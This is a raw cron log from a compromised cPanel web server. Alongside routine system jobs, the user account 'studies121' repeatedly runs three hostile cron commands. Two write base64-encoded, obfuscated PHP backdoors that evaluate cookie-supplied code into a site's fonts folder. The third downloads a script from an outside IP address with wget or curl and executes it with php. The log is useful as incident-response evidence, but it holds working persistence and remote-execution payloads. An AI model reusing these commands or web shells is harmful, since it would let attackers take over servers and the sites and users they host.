Sep 22 11:54:01 ip-184-168-122-23 CROND[9689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:54:01 ip-184-168-122-23 CROND[9694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:54:01 ip-184-168-122-23 CROND[9692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:54:01 ip-184-168-122-23 CROND[9695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:55:01 ip-184-168-122-23 CROND[10300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:55:01 ip-184-168-122-23 CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:55:01 ip-184-168-122-23 CROND[10303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:55:01 ip-184-168-122-23 CROND[10302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:55:01 ip-184-168-122-23 CROND[10307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:55:01 ip-184-168-122-23 CROND[10305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:56:01 ip-184-168-122-23 CROND[11029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:56:01 ip-184-168-122-23 CROND[11030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:56:01 ip-184-168-122-23 CROND[11033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:56:01 ip-184-168-122-23 CROND[11035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:56:01 ip-184-168-122-23 CROND[11037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:57:02 ip-184-168-122-23 CROND[11703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:57:02 ip-184-168-122-23 CROND[11704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:57:02 ip-184-168-122-23 CROND[11705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:57:02 ip-184-168-122-23 CROND[11708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:58:01 ip-184-168-122-23 CROND[12375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:58:01 ip-184-168-122-23 CROND[12379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:58:01 ip-184-168-122-23 CROND[12378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:58:01 ip-184-168-122-23 CROND[12381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:58:01 ip-184-168-122-23 CROND[12380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:59:01 ip-184-168-122-23 CROND[13059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:59:01 ip-184-168-122-23 CROND[13060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:59:01 ip-184-168-122-23 CROND[13061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:59:01 ip-184-168-122-23 CROND[13058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:00:01 ip-184-168-122-23 CROND[13834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:00:01 ip-184-168-122-23 CROND[13843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13848]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:00:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13851]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 12:00:01 ip-184-168-122-23 CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:01:01 ip-184-168-122-23 CROND[14530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:01:01 ip-184-168-122-23 CROND[14531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:01:01 ip-184-168-122-23 CROND[14534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 12:01:01 ip-184-168-122-23 CROND[14533]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 12:01:02 ip-184-168-122-23 CROND[14535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:01:02 ip-184-168-122-23 CROND[14537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14533]: starting 0anacron
Sep 22 12:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14551]: finished 0anacron
Sep 22 12:02:01 ip-184-168-122-23 CROND[15186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:02:01 ip-184-168-122-23 CROND[15188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:02:01 ip-184-168-122-23 CROND[15189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:02:01 ip-184-168-122-23 CROND[15190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:02:01 ip-184-168-122-23 CROND[15191]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:03:01 ip-184-168-122-23 CROND[15894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:03:01 ip-184-168-122-23 CROND[15893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:03:01 ip-184-168-122-23 CROND[15895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:03:01 ip-184-168-122-23 CROND[15897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:04:02 ip-184-168-122-23 CROND[16433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:04:02 ip-184-168-122-23 CROND[16436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 12:04:02 ip-184-168-122-23 CROND[16434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:04:02 ip-184-168-122-23 CROND[16437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:04:02 ip-184-168-122-23 CROND[16438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:05:01 ip-184-168-122-23 CROND[16886]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 12:05:01 ip-184-168-122-23 CROND[16889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 12:05:01 ip-184-168-122-23 CROND[16894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 12:05:01 ip-184-168-122-23 CROND[16892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 12:05:01 ip-184-168-122-23 CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 12:05:01 ip-184-168-122-23 CROND[16896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 12:05:01 ip-184-168-122-23 CROND[16897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 12:06:01 ip-184-168-122-23 CROND[17627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
